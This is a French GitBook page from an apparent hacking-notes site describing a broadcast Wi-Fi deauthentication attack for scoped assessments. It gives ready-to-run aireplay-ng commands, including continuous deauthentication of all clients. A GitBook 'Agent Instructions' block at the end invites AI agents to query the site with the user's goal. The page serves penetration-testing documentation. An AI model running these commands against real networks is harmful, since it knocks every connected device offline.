# Attaque de désauthentification globale - adresse MAC de diffusion
Documenter l’impact de la désauthentification par diffusion lors d’évaluations limitées.
Les trames de désauthentification diffusées peuvent affecter chaque client connecté à un point d'accès. Ce comportement a un fort impact opérationnel.
### Impact
Un test en diffusion peut déconnecter plusieurs appareils à la fois. Il peut également affecter les services qui dépendent du réseau sans fil.
### Utilisation responsable
Avant d'exécuter ces tests, définissez les appareils cibles, la fenêtre de maintenance et le mécanisme de rétablissement.
### Commandes de laboratoire
Envoyez un test de désauthentification en diffusion limité :
```bash
aireplay-ng --deauth 10 -e WIFI -c FF:FF:FF:FF:FF:FF wlan0mon
```
Vous pouvez également omettre le paramètre client pour utiliser le mode diffusion :
```bash
aireplay-ng --deauth 10 -e WIFI wlan0mon
```
Utilisez `0` lorsque le test circonscrit nécessite des trames continues :
```bash
aireplay-ng --deauth 0 -e WIFI -c FF:FF:FF:FF:FF:FF wlan0mon
```
{% hint style="danger" %}
N'utilisez pas la désauthentification en diffusion sur les réseaux de production. Elle peut provoquer un déni de service généralisé.
{% endhint %}
### Preuves recommandées
Documentez le périmètre, la durée et les clients de test. Enregistrez également le rétablissement de la connectivité et toutes les protections observées.

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/global-deauthentication-attack-broadcast-mac-address.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
